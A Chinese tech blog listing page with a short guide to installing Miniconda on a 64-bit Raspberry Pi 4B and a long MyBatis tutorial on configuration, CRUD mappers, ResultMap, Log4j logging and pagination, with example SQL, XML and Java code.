首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,595 阅读
2
主板开机跳线接线图【F_PANEL接线图】
7,392 阅读
3
Linux使用V2Ray 原生客户端
6,475 阅读
4
移动光猫获取超级密码&开启公网ipv6
5,361 阅读
5
NVIDIA 显卡限制功率
3,184 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
358
篇文章
累计收到
72
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
53
篇与
的结果
2022-03-13
树莓派4b安装miniconda armv8 64位
1.使用uname -a查看你操作系统的版本pi@raspberrypi:~ $ uname -a Linux raspberrypi 5.10.52-v8+ #1441 SMP PREEMPT Tue Aug 3 18:14:03 BST 2021 aarch64 GNU/Linux2.下载安装包然后去这个清华镜像网站选择对应你操作系统的版本下载:https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/因为我是64位的,所以我选择Linux-aarch64版本的下载:wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/Miniconda3-py37_4.9.2-Linux-aarch64.sh注意:目前大于4.9版本的miniconda不适配树莓派arm64架构操作系统,安装后无法正常使用!建议按照我上面给的miniconda版本安装!3.执行安装并激活环境bash Miniconda3-py37_4.9.2-Linux-aarch64.sh source ~/.bashrc4.验证(base) pi@raspberrypi:/data $ conda -V conda 4.9.2参考资料树莓派4b安装miniconda
2022年03月13日
1,491 阅读
1 评论
0 点赞
2022-03-06
MyBatis学习笔记
1.简介1.1 什么是MyBatisMyBatis 是一款优秀的持久层框架MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的过程MyBatis 可以使用简单的 XML 或注解来配置和映射原生信息,将接口和 Java 的 实体类 【Plain Old Java Objects,普通的 Java对象】映射成数据库中的记录。MyBatis 本是apache的一个开源项目ibatis, 2010年这个项目由apache 迁移到了google code,并且改名为MyBatis 。2013年11月迁移到Github .Mybatis官方文档 : http://www.mybatis.org/mybatis-3/zh/index.htmlGitHub : https://github.com/mybatis/mybatis-31.2 持久化持久化是将程序数据在持久状态和瞬时状态间转换的机制。即把数据(如内存中的对象)保存到可永久保存的存储设备中(如磁盘)。持久化的主要应用是将内存中的对象存储在数据库中,或者存储在磁盘文件中、XML数据文件中等等。JDBC就是一种持久化机制。文件IO也是一种持久化机制。在生活中 : 将鲜肉冷藏,吃的时候再解冻的方法也是。将水果做成罐头的方法也是。为什么需要持久化服务呢?那是由于内存本身的缺陷引起的内存断电后数据会丢失,但有一些对象是无论如何都不能丢失的,比如银行账号等,遗憾的是,人们还无法保证内存永不掉电。内存过于昂贵,与硬盘、光盘等外存相比,内存的价格要高2~3个数量级,而且维持成本也高,至少需要一直供电吧。所以即使对象不需要永久保存,也会因为内存的容量限制不能一直呆在内存中,需要持久化来缓存到外存。1.3 持久层什么是持久层?完成持久化工作的代码块 . ----> dao层 【DAO (Data Access Object) 数据访问对象】大多数情况下特别是企业级应用,数据持久化往往也就意味着将内存中的数据保存到磁盘上加以固化,而持久化的实现过程则大多通过各种关系数据库来完成。不过这里有一个字需要特别强调,也就是所谓的“层”。对于应用系统而言,数据持久功能大多是必不可少的组成部分。也就是说,我们的系统中,已经天然的具备了“持久层”概念?也许是,但也许实际情况并非如此。之所以要独立出一个“持久层”的概念,而不是“持久模块”,“持久单元”,也就意味着,我们的系统架构中,应该有一个相对独立的逻辑层面,专注于数据持久化逻辑的实现.与系统其他部分相对而言,这个层面应该具有一个较为清晰和严格的逻辑边界。【说白了就是用来操作数据库存在的!】1.4 为什么需要MybatisMybatis就是帮助程序猿将数据存入数据库中 , 和从数据库中取数据 .传统的jdbc操作 , 有很多重复代码块 .比如 : 数据取出时的封装 , 数据库的建立连接等等... , 通过框架可以减少重复代码,提高开发效率 .MyBatis 是一个半自动化的ORM框架 (Object Relationship Mapping) -->对象关系映射所有的事情,不用Mybatis依旧可以做到,只是用了它,所有实现会更加简单!技术没有高低之分,只有使用这个技术的人有高低之别MyBatis的优点简单易学:本身就很小且简单。没有任何第三方依赖,最简单安装只要两个jar文件+配置几个sql映射文件就可以了,易于学习,易于使用,通过文档和源代码,可以比较完全的掌握它的设计思路和实现。灵活:mybatis不会对应用程序或者数据库的现有设计强加任何影响。sql写在xml里,便于统一管理和优化。通过sql语句可以满足操作数据库的所有需求。解除sql与程序代码的耦合:通过提供DAO层,将业务逻辑和数据访问逻辑分离,使系统的设计更清晰,更易维护,更易单元测试。sql和代码的分离,提高了可维护性。提供xml标签,支持编写动态sql。.......最重要的一点,使用的人多!公司需要!2.MyBatis第一个程序思路流程:搭建环境-->导入Mybatis--->编写代码--->测试2.1 搭建实验数据库CREATE DATABASE `mybatis`; USE `mybatis`; DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(20) NOT NULL, `name` varchar(30) DEFAULT NULL, `pwd` varchar(30) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; insert into `user`(`id`,`name`,`pwd`) values (1,'狂神','123456'),(2,'张三','abcdef'),(3,'李四','987654');2.2 导入MyBatis相关 jar 包GitHub上找<dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.2</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.47</version> </dependency>2.3 编写MyBatis核心配置文件查看帮助文档<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> <configuration> <environments default="development"> <environment id="development"> <transactionManager type="JDBC"/> <dataSource type="POOLED"> <property name="driver" value="com.mysql.jdbc.Driver"/> <property name="url" value="jdbc:mysql://localhost:3306/mybatis?useSSL=true&useUnicode=true&characterEncoding=utf8"/> <property name="username" value="root"/> <property name="password" value="123456"/> </dataSource> </environment> </environments> <mappers> <mapper resource="com/kuang/dao/userMapper.xml"/> </mappers> </configuration>2.4 编写MyBatis工具类查看帮助文档import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSession; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSessionFactoryBuilder; import java.io.IOException; import java.io.InputStream; public class MybatisUtils { private static SqlSessionFactory sqlSessionFactory; static { try { String resource = "mybatis-config.xml"; InputStream inputStream = Resources.getResourceAsStream(resource); sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream); } catch (IOException e) { e.printStackTrace(); } } //获取SqlSession连接 public static SqlSession getSession(){ return sqlSessionFactory.openSession(); } }2.5 创建实体类public class User { private int id; //id private String name; //姓名 private String pwd; //密码 //构造,有参,无参 //set/get //toString() }2.6 编写Mapper接口类import com.kuang.pojo.User; import java.util.List; public interface UserMapper { List<User> selectUser(); }2.7 编写Mapper.xml配置文件namespace 十分重要,不能写错!<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.kuang.dao.UserMapper"> <select id="selectUser" resultType="com.kuang.pojo.User"> select * from user </select> </mapper>2.8 编写测试类Junit 包测试public class MyTest { @Test public void selectUser() { SqlSession session = MybatisUtils.getSession(); //方法一: //List<User> users = session.selectList("com.kuang.mapper.UserMapper.selectUser"); //方法二: UserMapper mapper = session.getMapper(UserMapper.class); List<User> users = mapper.selectUser(); for (User user: users){ System.out.println(user); } session.close(); } }2.9 运行测试,成功的查询出来的我们的数据,ok!2.10 问题说明可能出现问题说明:Maven静态资源过滤问题<resources> <resource> <directory>src/main/java</directory> <includes> <include>**/*.properties</include> <include>**/*.xml</include> </includes> <filtering>false</filtering> </resource> <resource> <directory>src/main/resources</directory> <includes> <include>**/*.properties</include> <include>**/*.xml</include> </includes> <filtering>false</filtering> </resource> </resources>有了MyBatis以后再也不用写原生的JDBC代码了,舒服!3.CRUD操作3.1 selectselect标签是mybatis中最常用的标签之一select语句有很多属性可以详细配置每一条SQL语句SQL语句返回值类型。【完整的类名或者别名】传入SQL语句的参数类型 。【万能的Map,可以多尝试使用】命名空间中唯一的标识符接口中的方法名与映射文件中的SQL语句ID 一一对应idparameterTyperesultType需求:根据id查询用户1、在UserMapper中添加对应方法public interface UserMapper { //查询全部用户 List<User> selectUser(); //根据id查询用户 User selectUserById(int id); }2、在UserMapper.xml中添加Select语句<select id="selectUserById" resultType="com.kuang.pojo.User"> select * from user where id = #{id} </select>3、测试类中测试@Test public void tsetSelectUserById() { SqlSession session = MybatisUtils.getSession(); //获取SqlSession连接 UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.selectUserById(1); System.out.println(user); session.close(); }课堂练习:根据 密码 和 名字 查询用户思路一:直接在方法中传递参数1、在接口方法的参数前加 @Param属性2、Sql语句编写的时候,直接取@Param中设置的值即可,不需要单独设置参数类型//通过密码和名字查询用户 User selectUserByNP(@Param("username") String username,@Param("pwd") String pwd); /* <select id="selectUserByNP" resultType="com.kuang.pojo.User"> select * from user where name = #{username} and pwd = #{pwd} </select> */思路二:使用万能的Map1、在接口方法中,参数直接传递Map;User selectUserByNP2(Map<String,Object> map);2、编写sql语句的时候,需要传递参数类型,参数类型为map<select id="selectUserByNP2" parameterType="map" resultType="com.kuang.pojo.User"> select * from user where name = #{username} and pwd = #{pwd} </select>3、在使用方法的时候,Map的 key 为 sql中取的值即可,没有顺序要求!Map<String, Object> map = new HashMap<String, Object>(); map.put("username","小明"); map.put("pwd","123456"); User user = mapper.selectUserByNP2(map);总结:如果参数过多,我们可以考虑直接使用Map实现,如果参数比较少,直接传递参数即可3.2 insert我们一般使用insert标签进行插入操作,它的配置和select标签差不多!需求:给数据库增加一个用户1、在UserMapper接口中添加对应的方法//添加一个用户 int addUser(User user);2、在UserMapper.xml中添加insert语句<insert id="addUser" parameterType="com.kuang.pojo.User"> insert into user (id,name,pwd) values (#{id},#{name},#{pwd}) </insert>3、测试@Test public void testAddUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = new User(5,"王五","zxcvbn"); int i = mapper.addUser(user); System.out.println(i); session.commit(); //提交事务,重点!不写的话不会提交到数据库 session.close(); }注意点:增、删、改操作需要提交事务!3.3update我们一般使用update标签进行更新操作,它的配置和select标签差不多!需求:修改用户的信息1、同理,编写接口方法//修改一个用户 int updateUser(User user);2、编写对应的配置文件SQL<update id="updateUser" parameterType="com.kuang.pojo.User"> update user set name=#{name},pwd=#{pwd} where id = #{id} </update>3、测试@Test public void testUpdateUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.selectUserById(1); user.setPwd("asdfgh"); int i = mapper.updateUser(user); System.out.println(i); session.commit(); //提交事务,重点!不写的话不会提交到数据库 session.close(); }3.4 delete我们一般使用delete标签进行删除操作,它的配置和select标签差不多!需求:根据id删除一个用户1、同理,编写接口方法//根据id删除用户 int deleteUser(int id);2、编写对应的配置文件SQL<delete id="deleteUser" parameterType="int"> delete from user where id = #{id} </delete>3、测试@Test public void testDeleteUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); int i = mapper.deleteUser(5); System.out.println(i); session.commit(); //提交事务,重点!不写的话不会提交到数据库 session.close(); }小结:所有的增删改操作都需要提交事务!接口所有的普通参数,尽量都写上@Param参数,尤其是多个参数时,必须写上!有时候根据业务的需求,可以考虑使用map传递参数!为了规范操作,在SQL的配置文件中,我们尽量将Parameter参数和resultType都写上!3.5 思考题模糊查询like语句该怎么写?第1种:在Java代码中添加sql通配符。string wildcardname = “%smi%”; list<name> names = mapper.selectlike(wildcardname); <select id=”selectlike”> select * from foo where bar like #{value} </select>第2种:在sql语句中拼接通配符,会引起sql注入string wildcardname = “smi”; list<name> names = mapper.selectlike(wildcardname); <select id=”selectlike”> select * from foo where bar like "%"#{value}"%" </select>4.配置解析4.1 核心配置文件mybatis-config.xml 系统核心配置文件MyBatis 的配置文件包含了会深深影响 MyBatis 行为的设置和属性信息。能配置的内容如下:configuration(配置) properties(属性) settings(设置) typeAliases(类型别名) typeHandlers(类型处理器) objectFactory(对象工厂) plugins(插件) environments(环境配置) environment(环境变量) transactionManager(事务管理器) dataSource(数据源) databaseIdProvider(数据库厂商标识) mappers(映射器) <!-- 注意元素节点的顺序!顺序不对会报错 -->我们可以阅读 mybatis-config.xml 上面的dtd的头文件!4.2 environments元素<environments default="development"> <environment id="development"> <transactionManager type="JDBC"> <property name="..." value="..."/> </transactionManager> <dataSource type="POOLED"> <property name="driver" value="${driver}"/> <property name="url" value="${url}"/> <property name="username" value="${username}"/> <property name="password" value="${password}"/> </dataSource> </environment> </environments>配置MyBatis的多套运行环境,将SQL映射到多个不同的数据库上,必须指定其中一个为默认运行环境(通过default指定)子元素节点:environmentdataSource 元素使用标准的 JDBC 数据源接口来配置 JDBC 连接对象的资源。数据源是必须配置的。有三种内建的数据源类型type="[UNPOOLED|POOLED|JNDI]")unpooled:这个数据源的实现只是每次被请求时打开和关闭连接。pooled:这种数据源的实现利用“池”的概念将 JDBC 连接对象组织起来 , 这是一种使得并发 Web 应用快速响应请求的流行处理方式。jndi:这个数据源的实现是为了能在如 Spring 或应用服务器这类容器中使用,容器可以集中或在外部配置数据源,然后放置一个 JNDI 上下文的引用。数据源也有很多第三方的实现,比如dbcp,c3p0,druid等等....详情:点击查看官方文档这两种事务管理器类型都不需要设置任何属性。具体的一套环境,通过设置id进行区别,id保证唯一!子元素节点:transactionManager - [ 事务管理器 ]<!-- 语法 --> <transactionManager type="[ JDBC | MANAGED ]"/>子元素节点:数据源(dataSource)4.3 mappers元素mappers映射器 : 定义映射SQL语句文件既然 MyBatis 的行为其他元素已经配置完了,我们现在就要定义 SQL 映射语句了。但是首先我们需要告诉 MyBatis 到哪里去找到这些语句。Java 在自动查找这方面没有提供一个很好的方法,所以最佳的方式是告诉 MyBatis 到哪里去找映射文件。你可以使用相对于类路径的资源引用, 或完全限定资源定位符(包括 file:/// 的 URL),或类名和包名等。映射器是MyBatis中最核心的组件之一,在MyBatis 3之前,只支持xml映射器,即:所有的SQL语句都必须在xml文件中配置。而从MyBatis 3开始,还支持接口映射器,这种映射器方式允许以Java代码的方式注解定义SQL语句,非常简洁。引入资源方式<!-- 使用相对于类路径的资源引用 --> <mappers> <mapper resource="org/mybatis/builder/PostMapper.xml"/> </mappers> <!-- 使用完全限定资源定位符(URL) --> <mappers> <mapper url="file:///var/mappers/AuthorMapper.xml"/> </mappers> <!-- 使用映射器接口实现类的完全限定类名 需要配置文件名称和接口名称一致,并且位于同一目录下 --> <mappers> <mapper class="org.mybatis.builder.AuthorMapper"/> </mappers> <!-- 将包内的映射器接口实现全部注册为映射器 但是需要配置文件名称和接口名称一致,并且位于同一目录下 --> <mappers> <package name="org.mybatis.builder"/> </mappers>Mapper文件<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.kuang.mapper.UserMapper"> </mapper>namespace中文意思:命名空间,作用如下:namespace的命名必须跟某个接口同名接口中的方法与映射文件中sql语句id应该一一对应namespace和子元素的id联合保证唯一 , 区别不同的mapper绑定DAO接口namespace命名规则 : 包名+类名MyBatis 的真正强大在于它的映射语句,这是它的魔力所在。由于它的异常强大,映射器的 XML 文件就显得相对简单。如果拿它跟具有相同功能的 JDBC 代码进行对比,你会立即发现省掉了将近 95% 的代码。MyBatis 为聚焦于 SQL 而构建,以尽可能地为你减少麻烦。4.4 Properties优化数据库这些属性都是可外部配置且可动态替换的,既可以在典型的 Java 属性文件中配置,亦可通过 properties 元素的子元素来传递。具体的官方文档我们来优化我们的配置文件第一步 ; 在资源目录下新建一个db.propertiesdriver=com.mysql.jdbc.Driver url=jdbc:mysql://localhost:3306/mybatis?useSSL=true&useUnicode=true&characterEncoding=utf8 username=root password=123456第二步 : 将文件导入properties 配置文件<configuration> <!--导入properties文件--> <properties resource="db.properties"/> <environments default="development"> <environment id="development"> <transactionManager type="JDBC"/> <dataSource type="POOLED"> <property name="driver" value="${driver}"/> <property name="url" value="${url}"/> <property name="username" value="${username}"/> <property name="password" value="${password}"/> </dataSource> </environment> </environments> <mappers> <mapper resource="mapper/UserMapper.xml"/> </mappers> </configuration>更多操作,可以查看官方文档!【演示带领学习】配置文件优先级问题新特性:使用占位符4.5 typeAliases优化类型别名是为 Java 类型设置一个短的名字。它只和 XML 配置有关,存在的意义仅在于用来减少类完全限定名的冗余。<!--配置别名,注意顺序--> <typeAliases> <typeAlias type="com.kuang.pojo.User" alias="User"/> </typeAliases>当这样配置时,User可以用在任何使用com.kuang.pojo.User的地方。也可以指定一个包名,MyBatis 会在包名下面搜索需要的 Java Bean,比如:<typeAliases> <package name="com.kuang.pojo"/> </typeAliases>每一个在包 com.kuang.pojo 中的 Java Bean,在没有注解的情况下,会使用 Bean 的首字母小写的非限定类名来作为它的别名。若有注解,则别名为其注解值。见下面的例子:@Alias("user") public class User { ... }去官网查看一下Mybatis默认的一些类型别名!4.6 其他配置浏览设置设置(settings)相关 => 查看帮助文档懒加载日志实现缓存开启关闭一个配置完整的 settings 元素的示例如下:<settings> <setting name="cacheEnabled" value="true"/> <setting name="lazyLoadingEnabled" value="true"/> <setting name="multipleResultSetsEnabled" value="true"/> <setting name="useColumnLabel" value="true"/> <setting name="useGeneratedKeys" value="false"/> <setting name="autoMappingBehavior" value="PARTIAL"/> <setting name="autoMappingUnknownColumnBehavior" value="WARNING"/> <setting name="defaultExecutorType" value="SIMPLE"/> <setting name="defaultStatementTimeout" value="25"/> <setting name="defaultFetchSize" value="100"/> <setting name="safeRowBoundsEnabled" value="false"/> <setting name="mapUnderscoreToCamelCase" value="false"/> <setting name="localCacheScope" value="SESSION"/> <setting name="jdbcTypeForNull" value="OTHER"/> <setting name="lazyLoadTriggerMethods" value="equals,clone,hashCode,toString"/> </settings>类型处理器无论是 MyBatis 在预处理语句(PreparedStatement)中设置一个参数时,还是从结果集中取出一个值时, 都会用类型处理器将获取的值以合适的方式转换成 Java 类型。你可以重写类型处理器或创建你自己的类型处理器来处理不支持的或非标准的类型。【了解即可】对象工厂MyBatis 每次创建结果对象的新实例时,它都会使用一个对象工厂(ObjectFactory)实例来完成。默认的对象工厂需要做的仅仅是实例化目标类,要么通过默认构造方法,要么在参数映射存在的时候通过有参构造方法来实例化。如果想覆盖对象工厂的默认行为,则可以通过创建自己的对象工厂来实现。【了解即可】4.7 生命周期和作用域作用域(Scope)和生命周期理解我们目前已经讨论过的不同作用域和生命周期类是至关重要的,因为错误的使用会导致非常严重的并发问题。我们可以先画一个流程图,分析一下Mybatis的执行过程!作用域理解SqlSessionFactoryBuilder 的作用在于创建 SqlSessionFactory,创建成功后,SqlSessionFactoryBuilder 就失去了作用,所以它只能存在于创建 SqlSessionFactory 的方法中,而不要让其长期存在。因此 SqlSessionFactoryBuilder 实例的最佳作用域是方法作用域(也就是局部方法变量)。SqlSessionFactory 可以被认为是一个数据库连接池,它的作用是创建 SqlSession 接口对象。因为 MyBatis 的本质就是 Java 对数据库的操作,所以 SqlSessionFactory 的生命周期存在于整个 MyBatis 的应用之中,所以一旦创建了 SqlSessionFactory,就要长期保存它,直至不再使用 MyBatis 应用,所以可以认为 SqlSessionFactory 的生命周期就等同于 MyBatis 的应用周期。由于 SqlSessionFactory 是一个对数据库的连接池,所以它占据着数据库的连接资源。如果创建多个 SqlSessionFactory,那么就存在多个数据库连接池,这样不利于对数据库资源的控制,也会导致数据库连接资源被消耗光,出现系统宕机等情况,所以尽量避免发生这样的情况。因此在一般的应用中我们往往希望 SqlSessionFactory 作为一个单例,让它在应用中被共享。所以说 SqlSessionFactory 的最佳作用域是应用作用域。如果说 SqlSessionFactory 相当于数据库连接池,那么 SqlSession 就相当于一个数据库连接(Connection 对象),你可以在一个事务里面执行多条 SQL,然后通过它的 commit、rollback 等方法,提交或者回滚事务。所以它应该存活在一个业务请求中,处理完整个请求后,应该关闭这条连接,让它归还给 SqlSessionFactory,否则数据库资源就很快被耗费精光,系统就会瘫痪,所以用 try...catch...finally... 语句来保证其正确关闭。所以 SqlSession 的最佳的作用域是请求或方法作用域。5.ResultMap5.1 查询为null问题要解决的问题:属性名和字段名不一致环境:新建一个项目,将之前的项目拷贝过来1、查看之前的数据库的字段名2、Java中的实体类设计public class User { private int id; //id private String name; //姓名 private String password; //密码和数据库不一样! //构造 //set/get //toString() }3、接口//根据id查询用户 User selectUserById(int id);4、mapper映射文件<select id="selectUserById" resultType="user"> select * from user where id = #{id} </select>5、测试@Test public void testSelectUserById() { SqlSession session = MybatisUtils.getSession(); //获取SqlSession连接 UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.selectUserById(1); System.out.println(user); session.close(); }结果:User{id=1, name='狂神', password='null'}查询出来发现 password 为空 . 说明出现了问题!分析:select * from user where id = #{id} 可以看做select id,name,pwd from user where id = #{id}mybatis会根据这些查询的列名(会将列名转化为小写,数据库不区分大小写) , 去对应的实体类中查找相应列名的set方法设值 , 由于找不到setPwd() , 所以password返回null ; 【自动映射】5.2 解决方案方案一:为列名指定别名 , 别名和java实体类的属性名一致 .<select id="selectUserById" resultType="User"> select id , name , pwd as password from user where id = #{id} </select>方案二:使用结果集映射->ResultMap 【推荐】<resultMap id="UserMap" type="User"> <!-- id为主键 --> <id column="id" property="id"/> <!-- column是数据库表的列名 , property是对应实体类的属性名 --> <result column="name" property="name"/> <result column="pwd" property="password"/> </resultMap> <select id="selectUserById" resultMap="UserMap"> select id , name , pwd from user where id = #{id} </select>5.3 ResultMap自动映射resultMap 元素是 MyBatis 中最重要最强大的元素。它可以让你从 90% 的 JDBC ResultSets 数据提取代码中解放出来。实际上,在为一些比如连接的复杂语句编写映射代码的时候,一份 resultMap 能够代替实现同等功能的长达数千行的代码。ResultMap 的设计思想是,对于简单的语句根本不需要配置显式的结果映射,而对于复杂一点的语句只需要描述它们的关系就行了。你已经见过简单映射语句的示例了,但并没有显式指定 resultMap。比如:<select id="selectUserById" resultType="map"> select id , name , pwd from user where id = #{id} </select>上述语句只是简单地将所有的列映射到 HashMap 的键上,这由 resultType 属性指定。虽然在大部分情况下都够用,但是 HashMap 不是一个很好的模型。你的程序更可能会使用 JavaBean 或 POJO(Plain Old Java Objects,普通老式 Java 对象)作为模型。ResultMap 最优秀的地方在于,虽然你已经对它相当了解了,但是根本就不需要显式地用到他们。手动映射1、返回值类型为resultMap<select id="selectUserById" resultMap="UserMap"> select id , name , pwd from user where id = #{id} </select>2、编写resultMap,实现手动映射!<resultMap id="UserMap" type="User"> <!-- id为主键 --> <id column="id" property="id"/> <!-- column是数据库表的列名 , property是对应实体类的属性名 --> <result column="name" property="name"/> <result column="pwd" property="password"/> </resultMap>如果世界总是这么简单就好了。但是肯定不是的,数据库中,存在一对多,多对一的情况,我们之后会使用到一些高级的结果集映射,association,collection这些,我们将在之后讲解,今天你们需要把这些知识都消化掉才是最重要的!理解结果集映射的这个概念!6.日志6.1 日志工厂思考:我们在测试SQL的时候,要是能够在控制台输出 SQL 的话,是不是就能够有更快的排错效率?如果一个 数据库相关的操作出现了问题,我们可以根据输出的SQL语句快速排查问题。对于以往的开发过程,我们会经常使用到debug模式来调节,跟踪我们的代码执行过程。但是现在使用Mybatis是基于接口,配置文件的源代码执行过程。因此,我们必须选择日志工具来作为我们开发,调节程序的工具。Mybatis内置的日志工厂提供日志功能,具体的日志实现有以下几种工具:SLF4JApache Commons LoggingLog4j 2Log4jJDK logging具体选择哪个日志实现工具由MyBatis的内置日志工厂确定。它会使用最先找到的(按上文列举的顺序查找)。如果一个都未找到,日志功能就会被禁用。标准日志实现指定 MyBatis 应该使用哪个日志记录实现。如果此设置不存在,则会自动发现日志记录实现。<settings> <setting name="logImpl" value="STDOUT_LOGGING"/> </settings>测试,可以看到控制台有大量的输出!我们可以通过这些输出来判断程序到底哪里出了Bug6.2 Log4j简介:Log4j是Apache的一个开源项目通过使用Log4j,我们可以控制日志信息输送的目的地:控制台,文本,GUI组件....我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。使用步骤:1、导入log4j的包<dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency>2、配置文件编写,在resources下新建log4j.properties#将等级为DEBUG的日志信息输出到console和file这两个目的地,console和file的定义在下面的代码 log4j.rootLogger=DEBUG,console,file #控制台输出的相关设置 log4j.appender.console = org.apache.log4j.ConsoleAppender log4j.appender.console.Target = System.out log4j.appender.console.Threshold=DEBUG log4j.appender.console.layout = org.apache.log4j.PatternLayout log4j.appender.console.layout.ConversionPattern=[%c]-%m%n #文件输出的相关设置 log4j.appender.file = org.apache.log4j.RollingFileAppender log4j.appender.file.File=./log/kuang.log log4j.appender.file.MaxFileSize=10mb log4j.appender.file.Threshold=DEBUG log4j.appender.file.layout=org.apache.log4j.PatternLayout log4j.appender.file.layout.ConversionPattern=[%p][%d{yy-MM-dd}][%c]%m%n #日志输出级别 log4j.logger.org.mybatis=DEBUG log4j.logger.java.sql=DEBUG log4j.logger.java.sql.Statement=DEBUG log4j.logger.java.sql.ResultSet=DEBUG log4j.logger.java.sql.PreparedStatement=DEBUG3、setting设置日志实现<settings> <setting name="logImpl" value="LOG4J"/> </settings>4、在程序中使用Log4j进行输出!//注意导包:org.apache.log4j.Logger static Logger logger = Logger.getLogger(MyTest.class); @Test public void selectUser() { logger.info("info:进入selectUser方法"); logger.debug("debug:进入selectUser方法"); logger.error("error: 进入selectUser方法"); SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); List<User> users = mapper.selectUser(); for (User user: users){ System.out.println(user); } session.close(); }5、测试,看控制台输出!使用Log4j 输出日志可以看到还生成了一个日志的文件 【需要修改file的日志级别】7.分页7.1 limit实现分页思考:为什么需要分页?在学习mybatis等持久层框架的时候,会经常对数据进行增删改查操作,使用最多的是对数据库进行查询操作,如果查询大量数据的时候,我们往往使用分页进行查询,也就是每次处理小部分数据,这样对数据库压力就在可控范围内。使用Limit实现分页#语法 SELECT * FROM table LIMIT stratIndex,pageSize SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15 #为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1: SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last. #如果只给定一个参数,它表示返回最大的记录行数目: SELECT * FROM table LIMIT 5; //检索前 5 个记录行 #换句话说,LIMIT n 等价于 LIMIT 0,n。 步骤:1、修改Mapper文件<select id="selectUser" parameterType="map" resultType="user"> select * from user limit #{startIndex},#{pageSize} </select>2、Mapper接口,参数为map//选择全部用户实现分页 List<User> selectUser(Map<String,Integer> map);3、在测试类中传入参数测试推断:起始位置 = (当前页面 - 1 ) * 页面大小//分页查询 , 两个参数startIndex , pageSize @Test public void testSelectUser() { SqlSession session = MybatisUtils.getSession(); UserMapper mapper = session.getMapper(UserMapper.class); int currentPage = 1; //第几页 int pageSize = 2; //每页显示几个 Map<String,Integer> map = new HashMap<String,Integer>(); map.put("startIndex",(currentPage-1)*pageSize); map.put("pageSize",pageSize); List<User> users = mapper.selectUser(map); for (User user: users){ System.out.println(user); } session.close(); }7.2 RowBounds分页我们除了使用Limit在SQL层面实现分页,也可以使用RowBounds在Java代码层面实现分页,当然此种方式作为了解即可。我们来看下如何实现的!步骤:1、mapper接口//选择全部用户RowBounds实现分页 List<User> getUserByRowBounds();2、mapper文件<select id="getUserByRowBounds" resultType="user"> select * from user </select>3、测试类在这里,我们需要使用RowBounds类@Test public void testUserByRowBounds() { SqlSession session = MybatisUtils.getSession(); int currentPage = 2; //第几页 int pageSize = 2; //每页显示几个 RowBounds rowBounds = new RowBounds((currentPage-1)*pageSize,pageSize); //通过session.**方法进行传递rowBounds,[此种方式现在已经不推荐使用了] List<User> users = session.selectList("com.kuang.mapper.UserMapper.getUserByRowBounds", null, rowBounds); for (User user: users){ System.out.println(user); } session.close(); }7.3 PageHelper了解即可,可以自己尝试使用官方文档:https://pagehelper.github.io/在MyBatisPlus中,我们也讲解到了分页实现,所以实现方式很多,看自己的理解和熟练程度进行掌握即可!8.使用注解开发8.1 面向接口编程大家之前都学过面向对象编程,也学习过接口,但在真正的开发中,很多时候我们会选择面向接口编程根本原因 : 解耦 , 可拓展 , 提高复用 , 分层开发中 , 上层不用管具体的实现 , 大家都遵守共同的标准 , 使得开发变得容易 , 